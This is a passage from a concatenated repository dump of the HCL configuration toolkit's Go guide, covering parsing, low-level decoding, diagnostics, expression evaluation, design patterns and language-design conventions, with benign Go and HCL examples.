"pid": cty.NumberIntVal(int64(os.Getpid())), }, } val, moreDiags := hcldec.Decode(f.Body, spec, ctx) diags = append(diags, moreDiags...) As you can see, this lower-level API also uses :go:pkg:`cty`, so it can be particularly convenient in situations where the result of dynamically decoding one block must be available to expressions in another block. ================================================ FILE: teamserver/pkg/profile/yaotl/guide/go_decoding_lowlevel.rst ================================================ .. _go-decoding-lowlevel: Advanced Decoding With The Low-level API ======================================== In previous sections we've discussed :go:pkg:`gohcl` and :go:pkg:`hcldec`, which both deal with decoding of HCL bodies and the expressions within them using a high-level description of the expected configuration schema. Both of these packages are implemented in terms of HCL's low-level decoding interfaces, which we will explore in this section. HCL decoding in the low-level API has two distinct phases: * Structural decoding: analyzing the arguments and nested blocks present in a particular body. * Expression evaluation: obtaining final values for each argument expression found during structural decoding. The low-level API gives the calling application full control over when each body is decoded and when each expression is evaluated, allowing for more complex configuration formats where e.g. different variables are available in different contexts, or perhaps expressions within one block can refer to values defined in another block. The low-level API also gives more detailed access to source location information for decoded elements, and so may be desirable for applications that do a lot of additional validation of decoded data where more specific source locations lead to better diagnostic messages. Since all of the decoding mechanisms work with the same :go:type:`hcl.Body` type, it is fine and expected to mix them within an application to get access to the more detailed information where needed while using the higher-level APIs for the more straightforward portions of a configuration language. The following subsections will give an overview of the low-level API. For full details, see `the godoc reference `_. Structural Decoding ------------------- As seen in prior sections, :go:type:`hcl.Body` is an opaque representation of the arguments and child blocks at a particular nesting level. An HCL file has a root body containing the top-level elements, and then each nested block has its own body presenting its own content. :go:type:`hcl.Body` is a Go interface whose methods serve as the structural decoding API: .. go:currentpackage:: hcl .. go:type:: Body Represents the structural elements at a particular nesting level. .. go:function:: func (b Body) Content(schema *BodySchema) (*BodyContent, Diagnostics) Decode the content from the receiving body using the given schema. The schema is considered exhaustive of all content within the body, and so any elements not covered by the schema will generate error diagnostics. .. go:function:: func (b Body) PartialContent(schema *BodySchema) (*BodyContent, Body, Diagnostics) Similar to `Content`, but allows for additional arguments and block types that are not described in the given schema. The additional body return value is a special body that contains only the *remaining* elements, after extraction of the ones covered by the schema. This returned body can be used to decode the remaining content elsewhere in the calling program. .. go:function:: func (b Body) JustAttributes() (Attributes, Diagnostics) Decode the content from the receiving body in a special *attributes-only* mode, allowing the calling application to enumerate the arguments given inside the body without needing to predict them in schema. When this method is used, a body can be treated somewhat like a map expression, but it still has a rigid structure where the arguments must be given directly with no expression evaluation. This is an advantage for declarations that must themselves be resolved before expression evaluation is possible. If the body contains any blocks, error diagnostics are returned. JSON syntax relies on schema to distinguish arguments from nested blocks, and so a JSON body in attributes-only mode will treat all JSON object properties as arguments. .. go:function:: func (b Body) MissingItemRange() Range Returns a source range that points to where an absent required item in the body might be placed. This is a "best effort" sort of thing, required only to be somewhere inside the receiving body, as a way to give source location information for a "missing required argument" sort of error. The main content-decoding methods each require a :go:type:`hcl.BodySchema` object describing the expected content. The fields of this type describe the expected arguments and nested block types respectively: .. code-block:: go schema := &hcl.BodySchema{ Attributes: []hcl.AttributeSchema{ { Name: "io_mode", Required: false, }, }, Blocks: []hcl.BlockHeaderSchema{ { Type: "service", LabelNames: []string{"type", "name"}, }, }, } content, moreDiags := body.Content(schema) diags = append(diags, moreDiags...) :go:type:`hcl.BodyContent` is the result of both ``Content`` and ``PartialContent``, giving the actual attributes and nested blocks that were found. Since arguments are uniquely named within a body and unordered, they are returned as a map. Nested blocks are ordered and may have many instances of a given type, so they are returned all together in a single slice for further interpretation by the caller. Unlike the two higher-level approaches, the low-level API *always* works only with one nesting level at a time. Decoding a nested block returns the "header" for that block, giving its type and label values, but its body remains an :go:type:`hcl.Body` for later decoding. Each returned attribute corresponds to one of the arguments in the body, and it has an :go:type:`hcl.Expression` object that can be used to obtain a value for the argument during expression evaluation, as described in the next section. Expression Evaluation --------------------- Expression evaluation *in general* has its own section, imaginitively titled :ref:`go-expression-eval`, so this section will focus only on how it is achieved in the low-level API. All expression evaluation in the low-level API starts with an :go:type:`hcl.Expression` object. This is another interface type, with various implementations depending on the expression type and the syntax it was parsed from. .. go:currentpackage:: hcl .. go:type:: Expression Represents a unevaluated single expression. .. go:function:: func (e Expression) Value(ctx *EvalContext) (cty.Value, Diagnostics) Evaluates the receiving expression in the given evaluation context. The result is a :go:type:`cty.Value` representing the result value, along with any diagnostics that were raised during evaluation. If the diagnostics contains errors, the value may be incomplete or invalid and should either be discarded altogether or used with care for analysis. .. go:function:: func (e Expression) Variables() []Traversal Returns information about any nested expressions that access variables from the *global* evaluation context. Does not include references to temporary local variables, such as those generated by a "``for`` expression". .. go:function:: func (e Expression) Range() Range Returns the source range for the entire expression. This can be useful when generating application-specific diagnostic messages, such as value validation errors. .. go:function:: func (e Expression) StartRange() Range Similar to ``Range``, but if the expression is complex, such as a tuple or object constructor, may indicate only the opening tokens for the construct to avoid creating an overwhelming source code snippet. This should be used in diagnostic messages only in situations where the error is clearly with the construct itself and not with the overall expression. For example, a type error indicating that a tuple was not expected might use ``StartRange`` to draw attention to the beginning of a tuple constructor, without highlighting the entire expression. Method ``Value`` is the primary API for expressions, and takes the same kind of evaluation context object described in :ref:`go-expression-eval`. .. code-block:: go ctx := &hcl.EvalContext{ Variables: map[string]cty.Value{ "name": cty.StringVal("Ermintrude"), "age": cty.NumberIntVal(32), }, } val, moreDiags := expr.Value(ctx) diags = append(diags, moreDiags...) ================================================ FILE: teamserver/pkg/profile/yaotl/guide/go_diagnostics.rst ================================================ .. _go-diagnostics: Diagnostic Messages =================== An important concern for any machine language intended for human authoring is to produce good error messages when the input is somehow invalid, or has other problems. HCL uses *diagnostics* to describe problems in an end-user-oriented manner, such that the calling application can render helpful error or warning messages. The word "diagnostic" is a general term that covers both errors and warnings, where errors are problems that prevent complete processing while warnings are possible concerns that do not block processing. HCL deviates from usual Go API practice by returning its own ``hcl.Diagnostics`` type, instead of Go's own ``error`` type. This allows functions to return warnings without accompanying errors while not violating the usual expectation that the absence of errors is indicated by a nil ``error``. In order to easily accumulate and return multiple diagnostics at once, the usual pattern for functions returning diagnostics is to gather them in a local variable and then return it at the end of the function, or possibly earlier if the function cannot continue due to the problems. .. code-block:: go func returningDiagnosticsExample() hcl.Diagnostics { var diags hcl.Diagnostics // ... // Call a function that may itself produce diagnostics. f, moreDiags := parser.LoadHCLFile("example.conf") // always append, in case warnings are present diags = append(diags, moreDiags...) if diags.HasErrors() { // If we can't safely continue in the presence of errors here, we // can optionally return early. return diags } // ... return diags } A common variant of the above pattern is calling another diagnostics-generating function in a loop, using ``continue`` to begin the next iteration when errors are detected, but still completing all iterations and returning the union of all of the problems encountered along the way. In :ref:`go-parsing`, we saw that the parser can generate diagnostics which are related to syntax problems within the loaded file. Further steps to decode content from the loaded file can also generate diagnostics related to *semantic* problems within the file, such as invalid expressions or type mismatches, and so a program using HCL will generally need to accumulate diagnostics across these various steps and then render them in the application UI somehow. Rendering Diagnostics in the UI ------------------------------- The best way to render diagnostics to an end-user will depend a lot on the type of application: they might be printed into a terminal, written into a log for later review, or even shown in a GUI. HCL leaves the responsibility for rendering diagnostics to the calling application, but since rendering to a terminal is a common case for command-line tools, the `hcl` package contains a default implementation of this in the form of a "diagnostic text writer": .. code-block:: go wr := hcl.NewDiagnosticTextWriter( os.Stdout, // writer to send messages to parser.Files(), // the parser's file cache, for source snippets 78, // wrapping width true, // generate colored/highlighted output ) wr.WriteDiagnostics(diags) This default implementation of diagnostic rendering includes relevant lines of source code for context, like this: :: Error: Unsupported block type on example.tf line 4, in resource "aws_instance" "example": 2: provisionr "local-exec" { Blocks of type "provisionr" are not expected here. Did you mean "provisioner"? If the "color" flag is enabled, the severity will be additionally indicated by a text color and the relevant portion of the source code snippet will be underlined to draw further attention. ================================================ FILE: teamserver/pkg/profile/yaotl/guide/go_expression_eval.rst ================================================ .. _go-expression-eval: Expression Evaluation ===================== Each argument attribute in a configuration file is interpreted as an expression. In the HCL native syntax, certain basic expression functionality is always available, such as arithmetic and template strings, and the calling application can extend this by making available specific variables and/or functions via an *evaluation context*. We saw in :ref:`go-decoding-gohcl` and :ref:`go-decoding-hcldec` some basic examples of populating an evaluation context to make a variable available. This section will look more closely at the ``hcl.EvalContext`` type and how HCL expression evaluation behaves in different cases. This section does not discuss in detail the expression syntax itself. For more information on that, see the HCL Native Syntax specification. .. go:currentpackage:: hcl .. go:type:: EvalContext ``hcl.EvalContext`` is the type used to describe the variables and functions available during expression evaluation, if any. Its usage is described in the following sections. Defining Variables ------------------ As we saw in :ref:`go-decoding-hcldec`, HCL represents values using an underlying library called :go:pkg:`cty`. When defining variables, their values must be given as :go:type:`cty.Value` values. A full description of the types and value constructors in :go:pkg:`cty` is in `the reference documentation `_. Variables in HCL are defined by assigning values into a map from string names to :go:type:`cty.Value`: .. code-block:: go ctx := &hcl.EvalContext{ Variables: map[string]cty.Value{ "name": cty.StringVal("Ermintrude"), "age": cty.NumberIntVal(32), }, } If this evaluation context were passed to one of the evaluation functions we saw in previous sections, the user would be able to refer to these variable names in any argument expression appearing in the evaluated portion of configuration: .. code-block:: hcl message = "${name} is ${age} ${age == 1 ? "year" : "years"} old!" If you place ``cty``'s *object* values in the evaluation context, then their attributes can be referenced using the HCL attribute syntax, allowing for more complex structures: .. code-block:: go ctx := &hcl.EvalContext{ Variables: map[string]cty.Value{ "path": cty.ObjectVal(map[string]cty.Value{ "root": cty.StringVal(rootDir), "module": cty.StringVal(moduleDir), "current": cty.StringVal(currentDir), }), }, } .. code-block:: hcl source_file = "${path.module}/foo.txt" .. _go-expression-funcs: Defining Functions ------------------ Custom functions can be defined by you application to allow users of its language to transform data in application-specific ways. The underlying function mechanism is also provided by :go:pkg:`cty`, allowing you to define the arguments a given function expects, what value type it will return for given argument types, etc. The full functions model is described in the ``cty`` documentation section `Functions System `_. There are `a number of "standard library" functions `_ available in a ``stdlib`` package within the :go:pkg:`cty` repository, avoiding the need for each application to re-implement basic functions for string manipulation, list manipulation, etc. It also includes function-shaped versions of several operations that are native operators in HCL, which should generally *not* be exposed as functions in HCL-based configuration formats to avoid user confusion. You can define functions in the ``Functions`` field of :go:type:`hcl.EvalContext`: .. code-block:: go ctx := &hcl.EvalContext{ Variables: map[string]cty.Value{ "name": cty.StringVal("Ermintrude"), }, Functions: map[string]function.Function{ "upper": stdlib.UpperFunc, "lower": stdlib.LowerFunc, "min": stdlib.MinFunc, "max": stdlib.MaxFunc, "strlen": stdlib.StrlenFunc, "substr": stdlib.SubstrFunc, }, } If this evaluation context were passed to one of the evaluation functions we saw in previous sections, the user would be able to call any of these functions in any argument expression appearing in the evaluated portion of configuration: .. code-block:: hcl message = "HELLO, ${upper(name)}!" Expression Evaluation Modes --------------------------- HCL uses a different expression evaluation mode depending on the evaluation context provided. In HCL native syntax, evaluation modes are used to provide more relevant error messages. In JSON syntax, which embeds the native expression syntax in strings using "template" syntax, the evaluation mode determines whether strings are evaluated as templates at all. If the given :go:type:`hcl.EvalContext` is ``nil``, native syntax expressions will react to users attempting to refer to variables or functions by producing errors indicating that these features are not available at all, rather than by saying that the specific variable or function does not exist. JSON syntax strings will not be evaluated as templates *at all* in this mode, making them function as literal strings. If the evaluation context is non-``nil`` but either ``Variables`` or ``Functions`` within it is ``nil``, native syntax will similarly produce "not supported" error messages. JSON syntax strings *will* parse templates in this case, but can also generate "not supported" messages if e.g. the user accesses a variable when the variables map is ``nil``. If neither map is ``nil``, HCL assumes that both variables and functions are supported and will instead produce error messages stating that the specific variable or function accessed by the user is not defined. ================================================ FILE: teamserver/pkg/profile/yaotl/guide/go_parsing.rst ================================================ .. _go-parsing: Parsing HCL Input ================= The first step in processing HCL input provided by a user is to parse it. Parsing turns the raw bytes from an input file into a higher-level representation of the arguments and blocks, ready to be *decoded* into an application-specific form. The main entry point into HCL parsing is :go:pkg:`hclparse`, which provides :go:type:`hclparse.Parser`: .. code-block:: go parser := hclparse.NewParser() f, diags := parser.ParseHCLFile("server.conf") Variable ``f`` is then a pointer to an :go:type:`hcl.File`, which is an opaque abstract representation of the file, ready to be decoded. Variable ``diags`` describes any errors or warnings that were encountered during processing; HCL conventionally uses this in place of the usual ``error`` return value in Go, to allow returning a mixture of multiple errors and warnings together with enough information to present good error messages to the user. We'll cover this in more detail in the next section, :ref:`go-diagnostics`. .. go:package:: hclparse Package ``hclparse`` -------------------- .. go:type:: Parser .. go:function:: func NewParser() *Parser Constructs a new parser object. Each parser contains a cache of files that have already been read, so repeated calls to load the same file will return the same object. .. go:function:: func (*Parser) ParseHCL(src []byte, filename string) (*hcl.File, hcl.Diagnostics) Parse the given source code as HCL native syntax, saving the result into the parser's file cache under the given filename. .. go:function:: func (*Parser) ParseHCLFile(filename string) (*hcl.File, hcl.Diagnostics) Parse the contents of the given file as HCL native syntax. This is a convenience wrapper around ParseHCL that first reads the file into memory. .. go:function:: func (*Parser) ParseJSON(src []byte, filename string) (*hcl.File, hcl.Diagnostics) Parse the given source code as JSON syntax, saving the result into the parser's file cache under the given filename. .. go:function:: func (*Parser) ParseJSONFile(filename string) (*hcl.File, hcl.Diagnostics) Parse the contents of the given file as JSON syntax. This is a convenience wrapper around ParseJSON that first reads the file into memory. The above list just highlights the main functions in this package. For full documentation, see `the hclparse godoc `_. ================================================ FILE: teamserver/pkg/profile/yaotl/guide/go_patterns.rst ================================================ Design Patterns for Complex Systems =================================== In previous sections we've seen an overview of some different ways an application can decode a language its has defined in terms of the HCL grammar. For many applications, those mechanisms are sufficient. However, there are some more complex situations that can benefit from some additional techniques. This section lists a few of these situations and ways to use the HCL API to accommodate them. .. _go-interdep-blocks: Interdependent Blocks --------------------- In some configuration languages, the variables available for use in one configuration block depend on values defined in other blocks. For example, in Terraform many of the top-level constructs are also implicitly definitions of values that are available for use in expressions elsewhere: .. code-block:: hcl variable "network_numbers" { type = list(number) } variable "base_network_addr" { type = string default = "10.0.0.0/8" } locals { network_blocks = { for x in var.number: x => cidrsubnet(var.base_network_addr, 8, x) } } resource "cloud_subnet" "example" { for_each = local.network_blocks cidr_block = each.value } output "subnet_ids" { value = cloud_subnet.example[*].id } In this example, the ``variable "network_numbers"`` block makes ``var.network_numbers`` available to expressions, the ``resource "cloud_subnet" "example"`` block makes ``cloud_subnet.example`` available, etc. Terraform achieves this by decoding the top-level structure in isolation to start. You can do this either using the low-level API or using :go:pkg:`gohcl` with :go:type:`hcl.Body` fields tagged as "remain". Once you have a separate body for each top-level block, you can inspect each of the attribute expressions inside using the ``Variables`` method on :go:type:`hcl.Expression`, or the ``Variables`` function from package :go:pkg:`hcldec` if you will eventually use its higher-level API to decode as Terraform does. The detected variable references can then be used to construct a dependency graph between the blocks, and then perform a `topological sort `_ to determine the correct order to evaluate each block's contents so that values will always be available before they are needed. Since :go:pkg:`cty` values are immutable, it is not convenient to directly change values in a :go:type:`hcl.EvalContext` during this gradual evaluation, so instead construct a specialized data structure that has a separate value per object and construct an evaluation context from that each time a new value becomes available. Using :go:pkg:`hcldec` to evaluate block bodies is particularly convenient in this scenario because it produces :go:type:`cty.Value` results which can then just be directly incorporated into the evaluation context. Distributed Systems ------------------- Distributed systems cause a number of extra challenges, and configuration management is rarely the worst of these. However, there are some specific considerations for using HCL-based configuration in distributed systems. For the sake of this section, we are concerned with distributed systems where at least two separate components both depend on the content of HCL-based configuration files. Real-world examples include the following: * **HashiCorp Nomad** loads configuration (job specifications) in its servers but also needs these results in its clients and in its various driver plugins. * **HashiCorp Terraform** parses configuration in Terraform Core but can write a partially-evaluated execution plan to disk and continue evaluation in a separate process later. It must also pass configuration values into provider plugins. Broadly speaking, there are two approaches to allowing configuration to be accessed in multiple subsystems, which the following subsections will discuss separately. Ahead-of-time Evaluation ^^^^^^^^^^^^^^^^^^^^^^^^ Ahead-of-time evaluation is the simplest path, with the configuration files being entirely evaluated on entry to the system, and then only the resulting *constant values* being passed between subsystems. This approach is relatively straightforward because the resulting :go:type:`cty.Value` results can be losslessly serialized as either JSON or msgpack as long as all system components agree on the expected value types. Aside from passing these values around "on the wire", parsing and decoding of configuration proceeds as normal. Both Nomad and Terraform use this approach for interacting with *plugins*, because the plugins themselves are written by various different teams that do not coordinate closely, and so doing all expression evaluation in the core subsystems ensures consistency between plugins and simplifies plugin development. In both applications, the plugin is expected to describe (using an application-specific protocol) the schema it expects for each element of configuration it is responsible for, allowing the core subsystems to perform decoding on the plugin's behalf and pass a value that is guaranteed to conform to the schema. Gradual Evaluation ^^^^^^^^^^^^^^^^^^ Although ahead-of-time evaluation is relatively straightforward, it has the significant disadvantage that all data available for access via variables or functions must be known by whichever subsystem performs that initial evaluation. For example, in Terraform, the "plan" subcommand is responsible for evaluating the configuration and presenting to the user an execution plan for approval, but certain values in that plan cannot be determined until the plan is already being applied, since the specific values used depend on remote API decisions such as the allocation of opaque id strings for objects. In Terraform's case, both the creation of the plan and the eventual apply of that plan *both* entail evaluating configuration, with the apply step having a more complete set of input values and thus producing a more complete result. However, this means that Terraform must somehow make the expressions from the original input configuration available to the separate process that applies the generated plan. Good usability requires error and warning messages that are able to refer back to specific sections of the input configuration as context for the reported problem, and the best way to achieve this in a distributed system doing gradual evaluation is to send the configuration *source code* between subsystems. This is generally the most compact representation that retains source location information, and will avoid any inconsistency caused by introducing another intermediate serialization. In Terraform's, for example, the serialized plan incorporates both the data structure describing the partial evaluation results from the plan phase and the original configuration files that produced those results, which can then be re-evalauated during the apply step. In a gradual evaluation scenario, the application should verify correctness of the input configuration as completely as possible at each state. To help with this, :go:pkg:`cty` has the concept of `unknown values `_, which can stand in for values the application does not yet know while still retaining correct type information. HCL expression evaluation reacts to unknown values by performing type checking but then returning another unknown value, causing the unknowns to propagate through expressions automatically. .. code-block:: go ctx := &hcl.EvalContext{ Variables: map[string]cty.Value{ "name": cty.UnknownVal(cty.String), "age": cty.UnknownVal(cty.Number), }, } val, moreDiags := expr.Value(ctx) diags = append(diags, moreDiags...) Each time an expression is re-evaluated with additional information, fewer of the input values will be unknown and thus more of the result will be known. Eventually the application should evaluate the expressions with no unknown values at all, which then guarantees that the result will also be wholly-known. Static References, Calls, Lists, and Maps ----------------------------------------- In most cases, we care more about the final result value of an expression than how that value was obtained. A particular list argument, for example, might be defined by the user via a tuple constructor, by a `for` expression, or by assigning the value of a variable that has a suitable list type. In some special cases, the structure of the expression is more important than the result value, or an expression may not *have* a reasonable result value. For example, in Terraform there are a few arguments that call for the user to name another object by reference, rather than provide an object value: .. code-block:: hcl resource "cloud_network" "example" { # ... } resource "cloud_subnet" "example" { cidr_block = "10.1.2.0/24" depends_on = [ cloud_network.example, ] } The ``depends_on`` argument in the second ``resource`` block *appears* as an expression that would construct a single-element tuple containing an object representation of the first resource block. However, Terraform uses this expression to construct its dependency graph, and so it needs to see specifically that this expression refers to ``cloud_network.example``, rather than determine a result value for it. HCL offers a number of "static analysis" functions to help with this sort of situation. These all live in the :go:pkg:`hcl` package, and each one imposes a particular requirement on the syntax tree of the expression it is given, and returns a result derived from that if the expression conforms to that requirement. .. go:currentpackage:: hcl .. go:function:: func ExprAsKeyword(expr Expression) string This function attempts to interpret the given expression as a single keyword, returning that keyword as a string if possible. A "keyword" for the purposes of this function is an expression that can be understood as a valid single identifier. For example, the simple variable reference ``foo`` can be interpreted as a keyword, while ``foo.bar`` cannot. As a special case, the language-level keywords ``true``, ``false``, and ``null`` are also considered to be valid keywords, allowing the calling application to disregard their usual meaning. If the given expression cannot be reduced to a single keyword, the result is an empty string. Since an empty string is never a valid keyword, this result unambiguously signals failure. .. go:function:: func AbsTraversalForExpr(expr Expression) (Traversal, Diagnostics) This is a generalization of ``ExprAsKeyword`` that will accept anything that can be interpreted as a *traversal*, which is a variable name followed by zero or more attribute access or index operators with constant operands. For example, all of ``foo``, ``foo.bar`` and ``foo[0]`` are valid traversals, but ``foo[bar]`` is not, because the ``bar`` index is not constant. This is the function that Terraform uses to interpret the items within the ``depends_on`` sequence in our example above. As with ``ExprAsKeyword``, this function has a special case that the keywords ``true``, ``false``, and ``null`` will be accepted as if they were variable names by this function, allowing ``null.foo`` to be interpreted as a traversal even though it would be invalid if evaluated. If error diagnostics are returned, the traversal result is invalid and should not be used. .. go:function:: func RelTraversalForExpr(expr Expression) (Traversal, Diagnostics) This is very similar to ``AbsTraversalForExpr``, but the result is a *relative* traversal, which is one whose first name is considered to be an attribute of some other (implied) object. The processing rules are identical to ``AbsTraversalForExpr``, with the only exception being that the first element of the returned traversal is marked as being an attribute, rather than as a root variable. .. go:function:: func ExprList(expr Expression) ([]Expression, Diagnostics) This function requires that the given expression be a tuple constructor, and if so returns a slice of the element expressions in that constructor. Applications can then perform further static analysis on these, or evaluate them as normal. If error diagnostics are returned, the result is invalid and should not be used. This is the function that Terraform uses to interpret the expression assigned to ``depends_on`` in our example above, then in turn using ``AbsTraversalForExpr`` on each enclosed expression. .. go:function:: func ExprMap(expr Expression) ([]KeyValuePair, Diagnostics) This function requires that the given expression be an object constructor, and if so returns a slice of the element key/value pairs in that constructor. Applications can then perform further static analysis on these, or evaluate them as normal. If error diagnostics are returned, the result is invalid and should not be used. .. go:function:: func ExprCall(expr Expression) (*StaticCall, Diagnostics) This function requires that the given expression be a function call, and if so returns an object describing the name of the called function and expression objects representing the call arguments. If error diagnostics are returned, the result is invalid and should not be used. The ``Variables`` method on :go:type:`hcl.Expression` is also considered to be a "static analysis" helper, but is built in as a fundamental feature because analysis of referenced variables is often important for static validation and for implementing interdependent blocks as we saw in the section above. ================================================ FILE: teamserver/pkg/profile/yaotl/guide/index.rst ================================================ HCL Config Language Toolkit =========================== HCL is a toolkit for creating structured configuration languages that are both human- and machine-friendly, for use with command-line tools, servers, etc. HCL has both a native syntax, intended to be pleasant to read and write for humans, and a JSON-based variant that is easier for machines to generate and parse. The native syntax is inspired by libucl_, `nginx configuration`_, and others. It includes an expression syntax that allows basic inline computation and, with support from the calling application, use of variables and functions for more dynamic configuration languages. HCL provides a set of constructs that can be used by a calling application to construct a configuration language. The application defines which argument names and nested block types are expected, and HCL parses the configuration file, verifies that it conforms to the expected structure, and returns high-level objects that the application can use for further processing. At present, HCL is primarily intended for use in applications written in Go_, via its library API. .. toctree:: :maxdepth: 1 :caption: Contents: intro go language_design .. _libucl: https://github.com/vstakhov/libucl .. _`nginx configuration`: http://nginx.org/en/docs/beginners_guide.html#conf_structure .. _Go: https://golang.org/ ================================================ FILE: teamserver/pkg/profile/yaotl/guide/intro.rst ================================================ .. _intro: Introduction to HCL =================== HCL-based configuration is built from two main constructs: arguments and blocks. The following is an example of a configuration language for a hypothetical application: .. code-block:: hcl io_mode = "async" service "http" "web_proxy" { listen_addr = "127.0.0.1:8080" process "main" { command = ["/usr/local/bin/awesome-app", "server"] } process "mgmt" { command = ["/usr/local/bin/awesome-app", "mgmt"] } } In the above example, ``io_mode`` is a top-level argument, while ``service`` introduces a block. Within the body of a block, further arguments and nested blocks are allowed. A block type may also expect a number of *labels*, which are the quoted names following the ``service`` keyword in the above example. The specific keywords ``io_mode``, ``service``, ``process``, etc here are application-defined. HCL provides the general block structure syntax, and can validate and decode configuration based on the application's provided schema. HCL is a structured configuration language rather than a data structure serialization language. This means that unlike languages such as JSON, YAML, or TOML, HCL is always decoded using an application-defined schema. However, HCL does have a JSON-based alternative syntax, which allows the same structure above to be generated using a standard JSON serializer when users wish to generate configuration programmatically rather than hand-write it: .. code-block:: json { "io_mode": "async", "service": { "http": { "web_proxy": { "listen_addr": "127.0.0.1:8080", "process": { "main": { "command": ["/usr/local/bin/awesome-app", "server"] }, "mgmt": { "command": ["/usr/local/bin/awesome-app", "mgmt"] }, } } } } } The calling application can choose which syntaxes to support. JSON syntax may not be important or desirable for certain applications, but it is available for applications that need it. The schema provided by the calling application allows JSON input to be properly decoded even though JSON syntax is ambiguous in various ways, such as whether a JSON object is representing a nested block or an object expression. The collection of arguments and blocks at a particular nesting level is called a *body*. A file always has a root body containing the top-level elements, and each block also has its own body representing the elements within it. The term "attribute" can also be used to refer to what we've called an "argument" so far. The term "attribute" is also used for the fields of an object value in argument expressions, and so "argument" is used to refer specifically to the type of attribute that appears directly within a body. The above examples show the general "texture" of HCL-based configuration. The full details of the syntax are covered in the language specifications. .. todo:: Once the language specification documents have settled into a final location, link them from above. Argument Expressions -------------------- The value of an argument can be a literal value shown above, or it may be an expression to allow arithmetic, deriving one value from another, etc. .. code-block:: hcl listen_addr = env.LISTEN_ADDR Built-in arithmetic and comparison operators are automatically available in all HCL-based configuration languages. A calling application may optionally provide variables that users can reference, like ``env`` in the above example, and custom functions to transform values in application-specific ways. Full details of the expression syntax are in the HCL native syntax specification. Since JSON does not have an expression syntax, JSON-based configuration files use the native syntax expression language embedded inside JSON strings. .. todo:: Once the language specification documents have settled into a final location, link to the native syntax specification from above. ================================================ FILE: teamserver/pkg/profile/yaotl/guide/language_design.rst ================================================ Configuration Language Design ============================= In this section we will cover some conventions for HCL-based configuration languages that can help make them feel consistent with other HCL-based languages, and make the best use of HCL's building blocks. HCL's native and JSON syntaxes both define a mapping from input bytes to a higher-level information model. In designing a configuration language based on HCL, your building blocks are the components in that information model: blocks, arguments, and expressions. Each calling application of HCL, then, effectively defines its own language. Just as Atom and RSS are higher-level languages built on XML, HashiCorp Terraform has a higher-level language built on HCL, while HashiCorp Nomad has its own distinct language that is *also* built on HCL. From an end-user perspective, these are distinct languages but have a common underlying texture. Users of both are therefore likely to bring some expectations from one to the other, and so this section is an attempt to codify some of these shared expectations to reduce user surprise. These are subjective guidelines however, and so applications may choose to ignore them entirely or ignore them in certain specialized cases. An application providing a configuration language for a pre-existing system, for example, may choose to eschew the identifier naming conventions in this section in order to exactly match the existing names in that underlying system. Language Keywords and Identifiers --------------------------------- Much of the work in defining an HCL-based language is in selecting good names for arguments, block types, variables, and functions. The standard for naming in HCL is to use all-lowercase identifiers with underscores separating words, like ``service`` or ``io_mode``. HCL identifiers do allow uppercase letters and dashes, but this primarily for natural interfacing with external systems that may have other identifier conventions, and so these should generally be avoided for the identifiers native to your own language. The distinction between "keywords" and other identifiers is really just a convention. In your own language documentation, you may use the word "keyword" to refer to names that are presented as an intrinsic part of your language, such as important top-level block type names. Block type names are usually singular, since each block defines a single object. Use a plural block name only if the block is serving only as a namespacing container for a number of other objects. A block with a plural type name will generally contain only nested blocks, and no arguments of its own. Argument names are also singular unless they expect a collection value, in which case they should be plural. For example, ``name = "foo"`` but ``subnet_ids = ["abc", "123"]``. Function names will generally *not* use underscores and will instead just run words together, as is common in the C standard library. This is a result of the fact that several of the standard library functions offered in ``cty`` (covered in a later section) have names that follow C library function names like ``substr``. This is not a strong rule, and applications that use longer names may choose to use underscores for them to improve readability. Blocks vs. Object Values ------------------------ HCL blocks and argument values of object type have quite a similar appearance in the native syntax, and are identical in JSON syntax: .. code-block:: hcl block { foo = bar } # argument with object constructor expression argument = { foo = bar } In spite of this superficial similarity, there are some important differences between these two forms. The most significant difference is that a child block can contain nested blocks of its own, while an object constructor expression can define only attributes of the object it is creating. The user-facing model for blocks is that they generally form the more "rigid" structure of the language itself, while argument values can be more free-form. An application will generally define in its schema and documentation all of the arguments that are valid for a particular block type, while arguments accepting object constructors are more appropriate for situations where the arguments themselves are freely selected by the user, such as when the expression will be converted by the application to a map type. As a less contrived example, consider the ``resource`` block type in Terraform and its use with a particular resource type ``aws_instance``: .. code-block:: hcl resource "aws_instance" "example" { ami = "ami-abc123" instance_type = "t2.micro" tags = { Name = "example instance" } ebs_block_device { device_name = "hda1" volume_size = 8 volume_type = "standard" } } The top-level block type ``resource`` is fundamental to Terraform itself and so an obvious candidate for block syntax: it maps directly onto an object in Terraform's own domain model. Within this block we see a mixture of arguments and nested blocks, all defined as part of the schema of the ``aws_instance`` resource type. The ``tags`` map here is specified as an argument because its keys are free-form, chosen by the user and mapped directly onto a map in the underlying system. ``ebs_block_device`` is specified as a nested block, because it is a separate domain object within the remote system and has a rigid schema of its own. As a special case, block syntax may sometimes be used with free-form keys if those keys each serve as a separate declaration of some first-class object in the language. For example, Terraform has a top-level block type ``locals`` which behaves in this way: .. code-block:: hcl locals { instance_type = "t2.micro" instance_id = aws_instance.example.id } Although the argument names in this block are arbitrarily selected by the user, each one defines a distinct top-level object. In other words, this approach is used to create a more ergonomic syntax for defining these simple single-expression objects, as a pragmatic alternative to more verbose and redundant declarations using blocks: .. code-block:: hcl local "instance_type" { value = "t2.micro" } local "instance_id" { value = aws_instance.example.id } The distinction between domain objects, language constructs and user data will always be subjective, so the final decision is up to you as the language designer. Standard Functions ------------------ HCL itself does not define a common set of functions available in all HCL-based languages; the built-in language operators give a baseline of functionality that is always available, but applications are free to define functions as they see fit. With that said, there's a number of generally-useful functions that don't belong to the domain of any one application: string manipulation, sequence manipulation, date formatting, JSON serialization and parsing, etc. Given the general need such functions serve, it's helpful if a similar set of functions is available with compatible behavior across multiple HCL-based languages, assuming the language is for an application where function calls make sense at all. The Go implementation of HCL is built on an underlying type and function system :go:pkg:`cty`, whose usage was introduced in :ref:`go-expression-funcs`. That library also has a package of "standard library" functions which we encourage applications to offer with consistent names and compatible behavior, either by using the standard implementations directly or offering compatible implementations under the same name. The "standard" functions that new configuration formats should consider offering are: * ``abs(number)`` - returns the absolute (positive) value of the given number. * ``coalesce(vals...)`` - returns the value of the first argument that isn't null. Useful only in formats where null values may appear. * ``compact(vals...)`` - returns a new tuple with the non-null values given as arguments, preserving order. * ``concat(seqs...)`` - builds a tuple value by concatenating together all of the given sequence (list or tuple) arguments. * ``format(fmt, args...)`` - performs simple string formatting similar to the C library function ``printf``. * ``hasindex(coll, idx)`` - returns true if the given collection has the given index. ``coll`` may be of list, tuple, map, or object type. * ``int(number)`` - returns the integer component of the given number, rounding towards zero. * ``jsondecode(str)`` - interprets the given string as JSON format and return the corresponding decoded value. * ``jsonencode(val)`` - encodes the given value as a JSON string. * 